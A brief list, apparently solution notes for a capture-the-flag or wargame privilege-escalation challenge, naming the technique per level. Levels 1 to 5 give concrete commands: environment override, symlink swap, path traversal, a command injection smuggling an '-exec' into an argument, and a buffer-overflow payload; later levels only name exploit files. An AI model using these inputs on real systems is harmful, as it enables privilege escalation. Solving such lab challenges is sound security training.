Exploits

1. Used environment approach $HOME = /var/challenge/level1
2. Used symlink approach rm ~/script.sh && ln -s myscript.sh ~/script.sh
3. Used path traversal approach ./ 3 ../../../../../../usr/local/bin/l33t
4. Used command injection attack ./4 "dummy.txt -exec /usr/local/bin/l33t \\;"
5. Used Buffer Overflow ./5 sort $(python3 -c "print('A' * 192 + 'l33t')")
6. Used Buffer Overflow exploit6.c
7. Used Buffer Overflow exploit7.c
8. Used Format String approach exploit8.c
9. Used Buffer Overflow approach exploit9.c
10. Used Buffer Overflow approach exploit10.c